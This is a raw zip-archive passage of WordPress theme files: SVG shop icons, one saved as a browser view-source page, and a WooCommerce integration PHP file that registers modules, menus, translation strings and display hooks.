            <rect x="313.469" y="104.49" width="78.367" height="83.592"/>
            <rect x="313.469" y="208.98" width="78.367" height="83.592"/>
            <rect x="313.469" y="0" width="78.367" height="83.592"/>
            <rect x="208.98" y="313.469" width="83.592" height="83.592"/>
            <rect x="208.98" y="104.49" width="83.592" height="83.592"/>
            <rect x="208.98" y="0" width="83.592" height="83.592"/>
            <rect x="313.469" y="313.469" width="78.367" height="83.592"/>
		</g>
	</g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
    <g>
</g>
</svg>
PK     0w\ke      woocommerce/svg/filter.svgnu [        <svg enable-background="new 0 0 512 512" height="512" viewBox="0 0 512 512" width="512"
     xmlns="http://www.w3.org/2000/svg">
    <g>
        <path d="m90.5 0h-30v362h-30v90h30v60h30v-60h30v-90h-30zm0 422h-30v-30h30z"/>
        <path d="m481.5 362h-30v-362h-30v362h-30v90h30v60h30v-60h30zm-30 60h-30v-30h30z"/>
        <path d="m331.5 0h-30v222h-30v90h30v200h30v-200h30v-90h-30zm0 282h-30v-30h30z"/>
        <path d="m210.5 0h-30v53.652h-30v90h30v368.348h30v-368.348h30v-90h-30zm0 113.652h-30v-30h30z"/>
    </g>
</svg>
PK     0w\yJ      woocommerce/svg/sort.svgnu [        <!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"><head><meta name="viewport" content="width=device-width" /><title>file:///Volumes/Data/Downloads/ascending-sort.svg</title><link rel="stylesheet" type="text/css" href="resource://content-accessible/viewsource.css" /></head><body id="viewsource" class="highlight" style="tab-size: 4"><pre id="line1"><span></span><span class="pi">&lt;?xml version="1.0" encoding="iso-8859-1"?&gt;</span><span>
<span id="line2"></span></span><span class="comment">&lt;!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  --&gt;</span><span>
<span id="line3"></span></span><span class="error doctype" title="Stray doctype.">&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;</span><span>
<span id="line4"></span></span><span>&lt;<span class="start-tag">svg</span> <span class="attribute-name">version</span>="<a class="attribute-value">1.1</a>" <span class="attribute-name">id</span>="<a class="attribute-value">Capa_1</a>" <span class="attribute-name">xmlns</span>="<a class="attribute-value">http://www.w3.org/2000/svg</a>" <span class="attribute-name">xmlns:xlink</span>="<a class="attribute-value">http://www.w3.org/1999/xlink</a>" <span class="attribute-name">x</span>="<a class="attribute-value">0px</a>" <span class="attribute-name">y</span>="<a class="attribute-value">0px</a>"
<span id="line5"></span>	 <span class="attribute-name">viewBox</span>="<a class="attribute-value">0 0 301.219 301.219</a>" <span class="attribute-name">style</span>="<a class="attribute-value">enable-background:new 0 0 301.219 301.219;</a>" <span class="attribute-name">xml:space</span>="<a class="attribute-value">preserve</a>"&gt;</span><span>
<span id="line6"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line7"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M159.365,23.736v-10c0-5.523-4.477-10-10-10H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h139.365
<span id="line8"></span>		C154.888,33.736,159.365,29.259,159.365,23.736z</a>"<span>/</span>&gt;</span><span>
<span id="line9"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M130.586,66.736H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h120.586c5.523,0,10-4.477,10-10v-10
<span id="line10"></span>		C140.586,71.213,136.109,66.736,130.586,66.736z</a>"<span>/</span>&gt;</span><span>
<span id="line11"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M111.805,129.736H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h101.805c5.523,0,10-4.477,10-10v-10
<span id="line12"></span>		C121.805,134.213,117.328,129.736,111.805,129.736z</a>"<span>/</span>&gt;</span><span>
<span id="line13"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M93.025,199.736H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h83.025c5.522,0,10-4.477,10-10v-10
<span id="line14"></span>		C103.025,204.213,98.548,199.736,93.025,199.736z</a>"<span>/</span>&gt;</span><span>
<span id="line15"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M74.244,262.736H10c-5.523,0-10,4.477-10,10v10c0,5.523,4.477,10,10,10h64.244c5.522,0,10-4.477,10-10v-10
<span id="line16"></span>		C84.244,267.213,79.767,262.736,74.244,262.736z</a>"<span>/</span>&gt;</span><span>
<span id="line17"></span>	</span><span>&lt;<span class="start-tag">path</span> <span class="attribute-name">d</span>="<a class="attribute-value">M298.29,216.877l-7.071-7.071c-1.875-1.875-4.419-2.929-7.071-2.929c-2.652,0-5.196,1.054-7.072,2.929l-34.393,34.393
<span id="line18"></span>		V18.736c0-5.523-4.477-10-10-10h-10c-5.523,0-10,4.477-10,10v225.462l-34.393-34.393c-1.876-1.875-4.419-2.929-7.071-2.929
<span id="line19"></span>		c-2.652,0-5.196,1.054-7.071,2.929l-7.072,7.071c-3.904,3.905-3.904,10.237,0,14.142l63.536,63.536
<span id="line20"></span>		c1.953,1.953,4.512,2.929,7.071,2.929c2.559,0,5.119-0.976,7.071-2.929l63.536-63.536
<span id="line21"></span>		C302.195,227.113,302.195,220.781,298.29,216.877z</a>"<span>/</span>&gt;</span><span>
<span id="line22"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line23"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line24"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line25"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line26"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line27"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line28"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line29"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line30"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line31"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line32"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line33"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line34"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line35"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line36"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line37"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line38"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line39"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line40"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line41"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line42"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line43"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line44"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line45"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line46"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line47"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line48"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line49"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line50"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line51"></span></span><span>&lt;<span class="start-tag">g</span>&gt;</span><span>
<span id="line52"></span></span><span>&lt;/<span class="end-tag">g</span>&gt;</span><span>
<span id="line53"></span></span><span>&lt;/<span class="end-tag">svg</span>&gt;</span><span>
<span id="line54"></span></span></pre></body></html>PK     0w\r-
      woocommerce/svg/2-columns.svgnu [        <svg height="444pt" viewBox="0 0 444 444" width="444pt" xmlns="http://www.w3.org/2000/svg">
    <path d="m7 0h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
    <path d="m256 0h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
    <path d="m7 249h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
    <path d="m256 249h181c3.867188 0 7 3.132812 7 7v181c0 3.867188-3.132812 7-7 7h-181c-3.867188 0-7-3.132812-7-7v-181c0-3.867188 3.132812-7 7-7zm0 0"/>
</svg>
PK     0w\K$  $  #  woocommerce/svg/penci-shop-icon.svgnu [        <svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
    <symbol id="shopping-bag" viewBox="0 0 512 512">
        <title>shopping-bag</title>
        <path d="m452 120h-60.946c-7.945-67.478-65.477-120-135.054-120s-127.109 52.522-135.054 120h-60.946c-11.046 0-20 8.954-20 20v352c0 11.046 8.954 20 20 20h392c11.046 0 20-8.954 20-20v-352c0-11.046-8.954-20-20-20zm-196-80c47.484 0 87.019 34.655 94.659 80h-189.318c7.64-45.345 47.175-80 94.659-80zm176 432h-352v-312h40v60c0 11.046 8.954 20 20 20s20-8.954 20-20v-60h192v60c0 11.046 8.954 20 20 20s20-8.954 20-20v-60h40z"/>
    </symbol>
    <symbol id="heart" viewBox="0 0 512 512">
        <title>heart</title>
        <path d="M374,39.221c-42.59,0-79.926,18.991-107.971,54.921c-3.74,4.792-7.074,9.586-10.029,14.229 c-2.955-4.644-6.289-9.437-10.029-14.229C217.926,58.212,180.59,39.221,138,39.221c-80.456,0-138,67.367-138,148.204 c0,92.433,75.757,179.547,245.637,282.46c3.185,1.929,6.774,2.894,10.363,2.894s7.178-0.964,10.363-2.893 C436.243,366.973,512,279.859,512,187.426C512,106.631,454.503,39.221,374,39.221z M419.157,302.52 C383.79,341.982,330.345,383.534,256,429.343c-74.345-45.809-127.79-87.361-163.157-126.822C57.285,262.845,40,225.197,40,187.426 c0-58.204,39.334-108.205,98-108.205c29.876,0,55.35,12.99,75.715,38.61c16.284,20.489,23.145,41.646,23.193,41.797 c2.605,8.355,10.341,14.046,19.093,14.046c8.752,0,16.488-5.69,19.093-14.046c0.063-0.202,6.718-20.699,22.467-40.875 C318.036,92.521,343.754,79.22,374,79.22c58.728,0,98,50.049,98,108.205C472,225.196,454.715,262.844,419.157,302.52z"/>
    </symbol>
    <symbol id="shuffle" viewBox="0 0 512 512">
        <title>shuffle</title>
        <path d="M507.734,418.093c0.227-0.303,0.462-0.6,0.673-0.915c0.203-0.304,0.379-0.619,0.565-0.931 c0.171-0.286,0.35-0.565,0.507-0.859c0.17-0.318,0.314-0.645,0.467-0.97c0.145-0.306,0.298-0.608,0.428-0.922 c0.13-0.315,0.236-0.637,0.35-0.957c0.121-0.337,0.25-0.669,0.354-1.013c0.097-0.32,0.168-0.646,0.249-0.969 c0.089-0.351,0.187-0.698,0.258-1.055c0.074-0.375,0.118-0.753,0.173-1.13c0.044-0.311,0.104-0.617,0.135-0.932 c0.138-1.4,0.138-2.811,0-4.211c-0.031-0.316-0.09-0.622-0.135-0.933c-0.054-0.377-0.098-0.755-0.172-1.13 c-0.071-0.358-0.169-0.705-0.258-1.056c-0.081-0.323-0.152-0.648-0.249-0.968c-0.104-0.345-0.234-0.677-0.355-1.014 c-0.115-0.32-0.22-0.642-0.35-0.957c-0.13-0.314-0.283-0.615-0.428-0.921c-0.153-0.325-0.297-0.653-0.468-0.971 c-0.157-0.293-0.336-0.572-0.506-0.857c-0.186-0.312-0.363-0.628-0.566-0.932c-0.211-0.315-0.445-0.611-0.671-0.913 c-0.191-0.255-0.368-0.516-0.571-0.764c-0.439-0.535-0.903-1.05-1.392-1.54c-0.007-0.008-0.014-0.016-0.021-0.023l-64-64 c-8.331-8.331-21.839-8.331-30.17,0c-8.331,8.331-8.331,21.839,0,30.17L439.164,384h-76.497c-70.693,0-128-57.307-128-128 s57.307-128,128-128h76.497l-27.582,27.582c-8.331,8.331-8.331,21.839,0,30.17c8.331,8.331,21.839,8.331,30.17,0l64-64 c0.004-0.004,0.007-0.008,0.011-0.012c0.492-0.493,0.959-1.012,1.402-1.551c0.203-0.247,0.379-0.507,0.568-0.76 c0.227-0.304,0.463-0.601,0.674-0.917c0.203-0.303,0.379-0.618,0.565-0.93c0.171-0.286,0.35-0.565,0.508-0.86 c0.17-0.318,0.314-0.645,0.467-0.969c0.145-0.307,0.298-0.609,0.428-0.923c0.13-0.315,0.235-0.636,0.35-0.956 c0.121-0.337,0.25-0.67,0.355-1.015c0.097-0.32,0.168-0.645,0.249-0.968c0.089-0.351,0.187-0.698,0.258-1.056 c0.074-0.375,0.118-0.753,0.172-1.13c0.044-0.311,0.104-0.618,0.135-0.933c0.138-1.4,0.138-2.811,0-4.211 c-0.031-0.315-0.09-0.621-0.135-0.932c-0.054-0.378-0.098-0.756-0.173-1.13c-0.071-0.358-0.169-0.704-0.258-1.055 c-0.081-0.324-0.152-0.649-0.249-0.969c-0.104-0.344-0.233-0.677-0.354-1.013c-0.115-0.32-0.22-0.642-0.35-0.957 c-0.13-0.314-0.283-0.616-0.428-0.922c-0.153-0.325-0.297-0.652-0.467-0.97c-0.157-0.294-0.337-0.573-0.507-0.859 c-0.186-0.312-0.362-0.627-0.565-0.931c-0.211-0.315-0.446-0.612-0.673-0.915c-0.19-0.254-0.367-0.515-0.57-0.762 c-0.443-0.539-0.909-1.058-1.402-1.551c-0.004-0.004-0.007-0.008-0.011-0.012l-64-64c-8.331-8.331-21.839-8.331-30.17,0 c-8.331,8.331-8.331,21.839,0,30.17l27.582,27.582h-76.497c-64.264,0-120.222,35.525-149.333,88.002 C184.222,120.858,128.264,85.333,64,85.333H21.333C9.551,85.333,0,94.885,0,106.667C0,118.449,9.551,128,21.333,128H64 c70.693,0,128,57.307,128,128S134.693,384,64,384H21.333C9.551,384,0,393.551,0,405.333c0,11.782,9.551,21.333,21.333,21.333H64 c64.264,0,120.222-35.525,149.333-88.002c29.111,52.477,85.069,88.002,149.333,88.002h76.497l-27.582,27.582 c-8.331,8.331-8.331,21.839,0,30.17c8.331,8.331,21.839,8.331,30.17,0l64-64c0.004-0.004,0.007-0.008,0.011-0.012 c0.492-0.493,0.959-1.012,1.402-1.551C507.368,418.608,507.544,418.347,507.734,418.093z"/>
    </symbol>
    <symbol id="loupe" viewBox="0 0 512 512">
        <title>loupe</title>
        <g>
            <g>
                <path d="M225.474,0C101.151,0,0,101.151,0,225.474c0,124.33,101.151,225.474,225.474,225.474 c124.33,0,225.474-101.144,225.474-225.474C450.948,101.151,349.804,0,225.474,0z M225.474,409.323 c-101.373,0-183.848-82.475-183.848-183.848S124.101,41.626,225.474,41.626s183.848,82.475,183.848,183.848 S326.847,409.323,225.474,409.323z"/>
            </g>
        </g>
        <g>
            <g>
                <path d="M505.902,476.472L386.574,357.144c-8.131-8.131-21.299-8.131-29.43,0c-8.131,8.124-8.131,21.306,0,29.43l119.328,119.328 c4.065,4.065,9.387,6.098,14.715,6.098c5.321,0,10.649-2.033,14.715-6.098C514.033,497.778,514.033,484.596,505.902,476.472z"/>
            </g>
        </g>
    </symbol>
</svg>
PK     0w\A" "   woocommerce/woocommerce.phpnu [        <?php
/**
 * ------------------------------------------------------------------------------------------------
 * Load extra WooCommerce Library
 * ------------------------------------------------------------------------------------------------
 */

$penci_modules = array(
	'quick_view'   => ! penci_is_mobile() ? get_theme_mod( 'penci_woocommerce_quickview', true ) : false,
	'wishlist'     => get_theme_mod( 'penci_woocommerce_wishlist', false ),
	'compare'      => get_theme_mod( 'penci_woocommerce_compare', false ),
	'metaboxes'    => true,
	'progress-bar' => true,
	'quickshop'    => get_theme_mod( 'penci_woocommerce_product_quick_shop', false ),
	'swatches'     => true,
	'brand'        => true,
	'misc'         => true,
);

foreach ( $penci_modules as $module => $enable ) {
	if ( $enable ) {
		require PENCI_SOLEDAD_DIR . '/inc/woocommerce/modules/' . $module . '.php';
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * WooCommerce Widget
 * ------------------------------------------------------------------------------------------------
 */

require PENCI_SOLEDAD_DIR . '/inc/widgets/wph-widget-class.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/product_filter.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/price_filter.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/product_sorting.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/product_stock_status.php';
require PENCI_SOLEDAD_DIR . '/inc/widgets/product_lists.php';

/**
 * Declare WooCommerce support
 *
 * @since 2.2
 */
add_filter( 'woocommerce_enqueue_styles', 'penci_woo_dequeue_styles' );
function penci_woo_dequeue_styles( $enqueue_styles ) {
	unset( $enqueue_styles['woocommerce-general'] );    // Remove the gloss.
	unset( $enqueue_styles['woocommerce-layout'] );        // Remove the layout.

	return $enqueue_styles;
}

if ( ! function_exists( 'penci_declare_woocommerce_support' ) ) {
	add_action( 'after_setup_theme', 'penci_declare_woocommerce_support' );
	function penci_declare_woocommerce_support() {

		add_theme_support( 'woocommerce' );
		add_theme_support( 'wc-product-gallery-lightbox' );
		remove_theme_support( 'wc-product-gallery-slider' );
		add_theme_support( 'wc-product-gallery-zoom' );
		add_theme_support( 'wc-product-gallery-slider' );

		// Register navigation menu.
		register_nav_menus( array(
			'vertical-shop-menu' => 'eCommerce Vertical Menu',
			'sidebar-filter'     => 'Sidebar Filter',
		) );

		// Register sidebar.
		register_sidebar( array(
			'name'          => esc_html__( 'Sidebar Filter', 'soledad' ),
			'id'            => 'sidebar-filter',
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title penci-border-arrow"><span class="inner-arrow">',
			'after_title'   => '</span></h3>',
		) );
	}
}
add_action( 'wp', 'penci_woo_remove_zoom_images', 100 );
function penci_woo_remove_zoom_images() {
	if ( get_theme_mod( 'penci_woo_disable_zoom' ) ) {
		remove_theme_support( 'wc-product-gallery-zoom' );
	}
}

function penci_woo_get_translate_text() {
	return array(
		'penci_woo_trans_about_brand'           => __( 'About brand', 'soledad' ),
		'penci_woo_trans_about_variable'        => __( 'About %s', 'soledad' ),
		'penci_woo_trans_addtocompare'          => __( 'Add to Compare', 'soledad' ),
		'penci_woo_trans_viewallcompare'        => __( 'View all Compare', 'soledad' ),
		'penci_woo_trans_returnshop'            => __( 'Return to shop', 'soledad' ),
		'penci_woo_trans_desc'                  => __( 'Description', 'soledad' ),
		'penci_woo_trans_demensions'            => __( 'Dimensions', 'soledad' ),
		'penci_woo_trans_weight'                => __( 'Weight', 'soledad' ),
		'penci_woo_trans_availability'          => __( 'Availability', 'soledad' ),
		'penci_woo_trans_sku'                   => __( 'Sku', 'soledad' ),
		'penci_woo_trans_instock'               => __( 'In stock', 'soledad' ),
		'penci_woo_trans_remove_product'        => __( 'Remove product', 'soledad' ),
		'penci_woo_trans_remove'                => __( 'Remove', 'soledad' ),
		'penci_woo_trans_sale'                  => __( 'Sale', 'soledad' ),
		'penci_woo_trans_sold_out'              => __( 'Sold out', 'soledad' ),
		'penci_woo_trans_hot'                   => __( 'Hot', 'soledad' ),
		'penci_woo_trans_new'                   => __( 'New', 'soledad' ),
		'penci_woo_trans_show'                  => __( 'Show', 'soledad' ),
		'penci_woo_trans_all'                   => __( 'All', 'soledad' ),
		'penci_woo_trans_lgtspr'                => __( 'Login to see prices', 'soledad' ),
		'penci_woo_trans_fasort'                => __( 'Filter & Sort', 'soledad' ),
		'penci_woo_trans_innumbeistock'         => __( 'Initial number in stock', 'soledad' ),
		'penci_woo_trans_rqinnumbeistock'       => __( 'Required for stock progress bar option', 'soledad' ),
		'penci_woo_trans_quickview'             => __( 'Quick view', 'soledad' ),
		'penci_woo_trans_close'                 => __( 'Close', 'soledad' ),
		'penci_woo_trans_color'                 => __( 'Color', 'soledad' ),
		'penci_woo_trans_image'                 => __( 'Image', 'soledad' ),
		'penci_woo_trans_label'                 => __( 'Label', 'soledad' ),
		'penci_woo_trans_canimage'              => __( 'Choose an image', 'soledad' ),
		'penci_woo_trans_usimage'               => __( 'Use image', 'soledad' ),
		'penci_woo_trans_upaddimg'              => __( 'Upload/Add Image', 'soledad' ),
		'penci_woo_trans_rimg'                  => __( 'Remove image', 'soledad' ),
		'penci_woo_trans_adtwilsh'              => __( 'Add to Wishlist', 'soledad' ),
		'penci_woo_trans_brtwilsh'              => __( 'Browse Wishlist', 'soledad' ),
		'penci_woo_trans_successrmwilish'       => __( 'The product %s has successfully removed.', 'soledad' ),
		'penci_woo_trans_rmproduct'             => __( 'Remove Product', 'soledad' ),
		'penci_woo_trans_ffallpfuv'             => __( 'Feed for all posts filed under %s', 'soledad' ),
		'penci_woo_trans_vtspcart'              => __( 'View your shopping cart', 'soledad' ),
		'penci_woo_trans_loading'               => __( 'Loading...', 'soledad' ),
		'penci_woo_trans_eoc'                   => __( 'End of content', 'soledad' ),
		'penci_woo_trans_nmptl'                 => __( 'No more pages to load', 'soledad' ),
		'penci_woo_trans_vmproduct'             => __( 'View more products', 'soledad' ),
		'penci_woo_trans_products'              => __( 'products', 'soledad' ),
		'penci_woo_trans_noproductfount'        => __( 'No product found', 'soledad' ),
		'penci_woo_trans_shoppingcart'          => __( 'Shopping cart', 'soledad' ),
		'penci_woo_trans_checkout'              => __( 'Checkout', 'soledad' ),
		'penci_woo_trans_ordrcompleted'         => __( 'Order complete', 'soledad' ),
		'penci_woo_trans_npostfound'            => __( 'No posts found', 'soledad' ),
		'penci_woo_trans_allrs'                 => __( 'All results', 'soledad' ),
		'penci_woo_trans_cpproduct'             => __( 'Compare Products', 'soledad' ),
		'penci_woo_trans_day'                   => __( 'Day', 'soledad' ),
		'penci_woo_trans_hours'                 => __( 'Hours', 'soledad' ),
		'penci_woo_trans_second'                => __( 'Seconds', 'soledad' ),
		'penci_woo_trans_minutes'               => __( 'Minutes', 'soledad' ),
		'penci_woo_trans_vcart'                 => __( 'View Cart', 'soledad' ),
		'penci_woo_trans_checkout_text'         => __( 'Check out', 'soledad' ),
		'penci_woo_trans_addtocart'             => __( 'has been added to your cart', 'soledad' ),
		'penci_woo_trans_addtocompare_notice'   => __( 'has been added to compare', 'soledad' ),
		'penci_woo_trans_removecompare'         => __( 'has been removed from compare', 'soledad' ),
		'penci_woo_trans_removewishlist'        => __( 'has been removed from your wishlist', 'soledad' ),
		'penci_woo_trans_addwishlist'           => __( 'has been added to your wishlist', 'soledad' ),
		'penci_woo_trans_viewcart'              => __( 'View your shopping cart', 'soledad' ),
		'penci_woo_trans_productfilter'         => __( 'Product Filter', 'soledad' ),
		'penci_woo_trans_shopppingcart'         => __( 'Shopping Cart', 'soledad' ),
		'penci_woo_trans_viewcompare'           => __( 'View your compare products', 'soledad' ),
		'penci_woo_trans_viewwishlist'          => __( 'View your wishlist products', 'soledad' ),
		'penci_woo_trans_relatedproduct'        => __( 'Related products', 'soledad' ),
		'penci_woo_trans_upsell_title'          => __( 'You may also like&hellip;', 'soledad' ),
		'penci_woo_trans_compare_empty_title'   => __( 'Compare list is empty.', 'soledad' ),
		'penci_woo_trans_wishlist_empty_title'  => __( 'Wishlist is empty.', 'soledad' ),
		'penci_woocommerce_wishlist_empty_text' => __( 'You don\'t have any products in the wishlist yet. <br> You will find a lot of interesting products on our "Shop" page.', 'soledad' ),
		'penci_woocommerce_compare_empty_text'  => __( 'No products added in the compare list. You must add some products to compare them.<br> You will find a lot of interesting products on our "Shop" page.', 'soledad' ),
		'penci_woo_cart_empty_title'            => __( 'Your cart is currently empty.', 'soledad' ),
		'penci_woo_cart_empty_textarea'         => __( 'You don\'t have any products in the shop yet. <br> You will find a lot of interesting products on our "Shop" page.', 'soledad' ),
		'penci_woo_trans_sidebar_filter'        => __( 'Sidebar Filter', 'soledad' ),
		'penci_woo_trans_compare_product'       => __( 'Product', 'soledad' ),
		'penci_woo_trans_blog_search_result'    => __( 'Search Results from Blog', 'soledad' ),
		'penci_woo_trans_showmore_result'       => __( 'Show More Result', 'soledad' ),
		'penci_woo_trans_ordered'               => __( 'Ordered:', 'soledad' ),
		'penci_woo_trans_items_avail'           => __( 'Items available:', 'soledad' ),
		'penci_woo_trans_sold'                  => __( 'Sold', 'soledad' ),
		'penci_woo_trans_text_about'            => __( 'About', 'soledad' ),
	);
}

function penci_woo_translate_text( $text ) {
	$translate_text = penci_woo_get_translate_text();

	$default_translate = isset( $translate_text[ $text ] ) ? $translate_text[ $text ] : '';

	return do_shortcode( get_theme_mod( $text, $default_translate ) );
}

/**
 * Update cart total when products are added to the cart
 *
 * @since 2.2.4
 */
if ( ! function_exists( 'penci_woocommerce_header_add_to_cart_fragment' ) ) {
	add_filter( 'woocommerce_add_to_cart_fragments', 'penci_woocommerce_header_add_to_cart_fragment' );
	function penci_woocommerce_header_add_to_cart_fragment( $fragments ) {
		ob_start();
		?>
        <a class="cart-contents" href="
		<?php
		$cart_link = function_exists( 'wc_get_cart_url' ) ? wc_get_cart_url() : WC()->cart->get_cart_url();
		echo esc_url( $cart_link );
		?>
		   "
           title="<?php echo penci_woo_translate_text( 'penci_woo_trans_viewcart' ); ?>">
            <i class="penciicon-shopping-cart"></i>
            <span><?php echo sprintf( _n( '%d', '%d', WC()->cart->get_cart_contents_count() ), WC()->cart->get_cart_contents_count() ); ?></span></a>
		<?php

		$fragments['.shoping-cart-icon a.cart-contents'] = ob_get_clean();

		return $fragments;
	}
}

/**
 * Change breadcrum markup for woocommerce
 *
 * @since 2.2
 */
if ( ! function_exists( 'penci_custom_woocommerce_breadcrumbs' ) ) {
	add_filter( 'woocommerce_breadcrumb_defaults', 'penci_custom_woocommerce_breadcrumbs' );
	function penci_custom_woocommerce_breadcrumbs() {
		$home  = penci_get_setting( 'penci_trans_home' );
		$class = get_theme_mod( 'penci_single_product_breadcrumb_position', 'top' );

		return array(
			'delimiter'   => penci_icon_by_ver( 'fas fa-angle-right' ),
			'wrap_before' => '<div class="container penci-breadcrumb penci-woo-breadcrumb ' . esc_attr( $class ) . '">',
			'wrap_after'  => '</div>',
			'before'      => '<span>',
			'after'       => '</span>',
			'home'        => $home,
		);
	}
}

/**
 * Helper function
 *
 * @since 1.0
 */

if ( ! function_exists( 'penci_is_product_attribute_archive' ) ) {
	function penci_is_product_attribute_archive() {
		$queried_object = get_queried_object();
		if ( $queried_object && property_exists( $queried_object, 'taxonomy' ) ) {
			$taxonomy = $queried_object->taxonomy;

			return substr( $taxonomy, 0, 3 ) === 'pa_';
		}

		return false;
	}
}

if ( ! function_exists( 'penci_is_shop_archive' ) ) {
	function penci_is_shop_archive() {
		return ( is_shop() || is_product_category() || is_product_tag() || is_singular( 'product' ) || penci_is_product_attribute_archive() );
	}
}

if ( ! function_exists( 'penci_is_shop_catelog' ) ) {
	function penci_is_shop_catelog() {
		return ( is_shop() || is_product_category() || is_product_tag() || penci_is_product_attribute_archive() );
	}
}


/**
 * Custom numbers related products for Woocommerce
 *
 * @since 2.2
 */
if ( ! function_exists( 'penci_custom_number_related_products_args' ) ) {
	add_filter( 'woocommerce_output_related_products_args', 'penci_custom_number_related_products_args' );
	function penci_custom_number_related_products_args( $args ) {
		$number = 4;
		if ( get_theme_mod( 'penci_woo_number_related_products' ) ) :
			$number = absint( get_theme_mod( 'penci_woo_number_related_products' ) );
		endif;

		$args['posts_per_page'] = $number; // 4 related products

		return $args;
	}
}

/**
 * ------------------------------------------------------------------------------------------------
 * Filter & action
 * ------------------------------------------------------------------------------------------------
 */

remove_action( 'woocommerce_before_shop_loop_item', 'woocommerce_template_loop_product_link_open', 10 );
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_product_link_close', 5 );

remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 );

add_filter( 'woocommerce_show_page_title', function () {
	return false;
} );

remove_action( 'woocommerce_cart_collaterals', 'woocommerce_cross_sell_display' );
add_action( 'woocommerce_after_cart', 'woocommerce_cross_sell_display' );

if ( ! function_exists( 'penci_template_loop_product_title' ) ) {

	/**
	 * Show the product title in the product loop. By default this is an H2.
	 */
	function penci_template_loop_product_title() {

		$length = wc_get_loop_prop( 'title-length' );
		$title  = get_the_title();

		if ( $length ) {
			$title = wp_trim_words( $title, $length );
		}

		echo '<h3 class="' . esc_attr( apply_filters( 'woocommerce_product_loop_title_classes', 'woocommerce-loop-product__title penci-loop-title' ) ) . '"><a href="' . get_permalink() . '">' . $title . '</a></h3>'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
	}

	remove_action( 'woocommerce_shop_loop_item_title', 'woocommerce_template_loop_product_title', 10 );
	add_action( 'woocommerce_shop_loop_item_title', 'penci_template_loop_product_title', 10 );
}

add_action( 'woocommerce_archive_description', 'penci_woocommerce_before_main_content' );
function penci_woocommerce_before_main_content() {
	?>
    <div class="penci-woo-before-main-content">
